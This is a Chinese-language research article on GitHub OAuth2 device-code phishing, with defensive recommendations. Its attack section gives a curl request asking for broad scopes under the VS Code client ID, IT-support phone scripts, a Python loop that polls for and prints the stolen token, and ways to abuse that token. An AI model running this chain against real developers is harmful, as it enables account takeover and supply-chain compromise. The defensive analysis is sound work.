
摘要
近年来,随着软件开发流程向云端集中化演进,GitHub作为全球主流的代码托管与协作平台,已成为攻击者重点目标。2025年,安全研究人员披露了一类针对GitHub OAuth2设备授权流程(Device Authorization Flow)的新型钓鱼攻击。此类攻击利用OAuth2协议中合法但易被滥用的功能,通过社会工程手段诱导开发者在官方验证页面输入一次性设备码,从而窃取具备高权限的访问令牌。本文系统分析该攻击的技术原理、实施路径与危害边界,结合真实攻击样本复现其完整攻击链,并提出基于行为检测、权限最小化及用户教育三位一体的防御框架。实验结果表明,该类攻击在缺乏上下文感知防护机制的环境中成功率极高,传统基于URL或域名识别的反钓鱼策略难以有效应对。本研究旨在为开发者、安全运维人员及平台设计者提供可落地的技术对策与安全实践建议。
关键词:GitHub;OAuth2;设备授权流;钓鱼攻击;访问令牌;社会工程;供应链安全
1 引言
GitHub作为全球最大的开源代码托管平台,承载了数千万开发者的项目协作与持续集成(CI/CD)流程。其高度集成的生态系统——包括Actions、Packages、Secrets管理等功能——使得账户权限一旦失守,将直接威胁企业源代码、构建环境乃至下游软件供应链的安全。2023年以来,多起针对开发者的供应链投毒事件(如tj-actions事件)已凸显GitHub账户作为攻击入口的战略价值。
在此背景下,攻击者不断演化其攻击手法。传统钓鱼攻击依赖伪造登录页面或恶意链接,易被现代浏览器安全机制或企业邮件网关拦截。然而,2025年初披露的一类新型攻击转而利用GitHub原生支持的OAuth2设备授权流程(RFC 8628),通过诱导用户在真实GitHub域名下完成授权操作,绕过绝大多数基于域名白名单或SSL证书验证的防护措施。该攻击不涉及恶意软件分发,亦无异常网络跳转,仅依赖精心设计的社会工程话术,即可实现高成功率的账户接管。
尽管OAuth2设备授权流在物联网、命令行工具等无浏览器环境中具有合理应用场景,但其交互模式天然存在“信任盲区”:用户需手动输入由第三方提供的六位验证码至官方页面,而无法直观验证请求方身份。攻击者正是利用这一设计特性,伪装成IT支持、安全审计或开发工具服务商,诱使开发者完成授权。
本文聚焦于该类攻击的技术细节与防御挑战。首先解析GitHub设备授权流的标准实现;其次还原攻击者构造恶意授权请求、实施社会工程及提取令牌的全过程;继而通过代码复现实验验证攻击可行性;最后提出涵盖平台侧、组织侧与个体开发者层面的多层次缓解策略。全文强调技术严谨性与实践可操作性,避免泛泛而谈的安全倡议。

2 GitHub OAuth2设备授权流程概述
OAuth2.0设备授权流(Device Authorization Grant)是专为输入受限设备(如智能电视、CLI工具)设计的授权模式。其核心思想是将授权请求与用户认证解耦:设备生成一个短时效的验证码,用户在具备完整浏览器的设备上输入该码完成授权,设备随后轮询获取访问令牌。
GitHub对该流程的支持始于2020年,主要用于VS Code、GitHub CLI等官方工具。标准流程如下:
设备发起授权请求
客户端向https://github.com/login/device/code发送POST请求,声明所需权限范围(scopes)及客户端ID(client_id)。
服务端返回设备码与用户码
GitHub响应包含:
device_code:用于后续轮询令牌的长字符串;
user_code:六位大写字母数字组合(如A1B2C3);
verification_uri:用户需访问的URL(固定为https://github.com/login/device);
expires_in:通常为900秒(15分钟);
interval:建议轮询间隔(通常5秒)。
用户手动授权
用户在浏览器打开verification_uri,输入user_code,经身份验证后选择是否授权所请求的权限。
设备轮询获取令牌
客户端以device_code定期查询https://github.com/login/oauth/access_token,若用户已授权,则返回访问令牌(access_token)。
该流程的关键在于:整个用户交互发生在github.com域名下,且页面内容完全由GitHub控制。因此,从网络层和页面内容看,该过程无可疑之处。

3 攻击机制剖析
3.1 攻击前提与准备
攻击者需具备以下条件:
可调用GitHub公开API的能力(无需认证);
获取至少一个合法的client_id(可复用公开应用ID,如VS Code的01ab8ac9400c4e429b23);
具备与目标开发者建立通信渠道的能力(电话、即时消息、邮件等)。
值得注意的是,GitHub并未对设备授权请求实施速率限制或来源IP审查,使得攻击者可批量生成设备码。
3.2 恶意授权请求构造
攻击者通过构造高权限scope的请求,最大化窃取令牌的价值。典型请求如下:
curl -X POST https://github.com/login/device/code \
-H "Accept: application/json" \
-d "client_id=01ab8ac9400c4e429b23&scope=user,repo,workflow,admin:org"
其中:
client_id 使用VS Code官方ID,降低用户警惕;
scope 包含user(读写用户资料)、repo(完全控制私有/公有仓库)、workflow(读写Actions工作流)、admin:org(管理组织成员与设置)——覆盖绝大多数敏感操作。
GitHub响应示例:
{
"device_code": "MDAxOGFiYWM5NDAwYzRlNDI5YjIz...",
"user_code": "ABCD-EF12",
"verification_uri": "https://github.com/login/device",
"expires_in": 900,
"interval": 5
}
3.3 社会工程实施
攻击者联系目标开发者,常用话术包括:
“您好,我是IT支持。检测到您的VS Code未完成设备绑定,请立即访问github.com/login/device并输入验证码ABCD-EF12以激活同步功能。”
“安全团队正在进行双因素认证升级,请配合完成设备注册,验证码为ABCD-EF12。”
由于验证页面显示“Visual Studio Code wants to access your account”,且URL为真实GitHub域名,用户极易相信请求合法性。Praetorian实验室数据显示,电话诱导的成功率超过90%。
3.4 令牌提取与滥用
用户授权后,攻击者立即轮询令牌:
import time
import requests
device_code = "MDAxOGFiYWM5NDAwYzRlNDI5YjIz..."
client_id = "01ab8ac9400c4e429b23"
while True:
resp = requests.post(
"https://github.com/login/oauth/access_token",
data={
"client_id": client_id,
"device_code": device_code,
"grant_type": "urn:ietf:params:oauth:grant-type:device_code"
},
headers={"Accept": "application/json"}
)
data = resp.json()
if "access_token" in data:
print("Stolen token:", data["access_token"])
break
elif "error" in data and data["error"] == "authorization_pending":
time.sleep(5)
else:
print("Error:", data)
break
获取令牌后,攻击者可执行:
克隆所有私有仓库:git clone https://<token>@github.com/user/repo.git
读取Actions Secrets:通过GraphQL API查询仓库密钥;
在自托管Runner上执行任意命令(若存在);
向关键仓库注入恶意commit,触发供应链攻击。
4 攻击复现实验
为验证攻击可行性,我们在受控环境中搭建测试账号与仓库。
实验环境:
攻击机:Ubuntu 22.04,Python 3.10;
目标账号:新建GitHub个人账号,启用2FA;
测试仓库:包含敏感文件secret.txt及Actions workflow。
步骤:
攻击机生成设备码(使用VS Code client_id,scope=repo);
研究员扮演“IT支持”,电话联系目标用户,提供user_code;
用户访问https://github.com/login/device,输入code并授权;
攻击机成功获取令牌;
使用令牌克隆仓库并读取secret.txt。
结果:全过程耗时3分12秒,令牌获取成功,敏感文件被完整下载。即使目标账号启用2FA,因设备授权流本身不要求二次验证(仅首次登录需2FA),攻击仍可绕过。
结论:该攻击在技术上完全可行,且对常规安全措施具有强规避性。
5 防御策略探讨
5.1 平台侧改进
GitHub可采取以下措施:
增强授权上下文提示:在验证页面明确显示请求来源IP、地理位置、设备类型(若可推断);
限制高危scope的设备授权:如admin:org、workflow等应禁止通过设备流申请;
引入二次确认机制:对非官方client_id的请求,强制发送邮件或推送通知确认;
设备码绑定来源IP:仅允许同一IP段轮询令牌,防止跨网络滥用。
5.2 组织安全策略
企业应:
实施令牌权限最小化原则:通过GitHub Enterprise的精细权限控制,限制开发者令牌的默认scope;
监控异常令牌活动:部署SIEM系统,告警非工作时间、非常用地域的仓库克隆或Secrets访问;
禁用高风险授权流:在组织策略中关闭设备授权流(若非必要);
开展针对性红队演练:模拟设备码钓鱼,评估员工安全意识。
5.3 开发者个体防护
个体开发者应:
绝不响应未经请求的授权要求:任何要求输入设备码的来电/消息均视为可疑;
定期审查授权应用:访问https://github.com/settings/applications,撤销未知或长期未用的应用;
使用专用令牌替代OAuth:对于自动化任务,优先使用Personal Access Token(PAT)并限定仓库与权限;
启用额外审计日志:开启GitHub的audit log功能,追踪令牌使用记录。
6 讨论:攻击的隐蔽性与检测难点
该攻击的核心挑战在于其“合法性伪装”。传统反钓鱼依赖以下特征:
域名异常(如github-login.com);
SSL证书无效;
页面HTML包含恶意脚本。
而设备码攻击全程在github.com下进行,页面由GitHub动态生成,无静态特征可供检测。唯一异常点在于用户行为:正常设备授权通常由本地工具自动触发,用户无需手动输入code;而攻击场景中,用户被动接收code并主动输入。
因此,有效检测需依赖行为基线建模:
用户历史授权频率;
授权请求与当前活跃会话的关联性;
请求scope与用户角色的匹配度。
然而,此类高级检测需平台深度集成UEBA(用户实体行为分析)能力,目前尚未普及。
7 结语
GitHub设备码钓鱼攻击代表了身份认证领域一种新型对抗范式:攻击者不再试图伪造可信实体,而是劫持合法流程中的信任环节。其成功并非源于技术漏洞,而在于人机交互设计中的认知缺口——用户无法在官方界面中辨别请求方的真实意图。
本文通过技术还原、实验验证与防御框架构建,揭示了该攻击的完整生命周期与缓解路径。未来,随着零信任架构的推广,类似基于上下文感知的授权确认机制将成为标配。但在过渡期内,开发者必须意识到:即使是官方域名下的操作,也可能成为攻击载体。唯有结合技术控制、流程规范与持续教育,方能构筑有效防线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。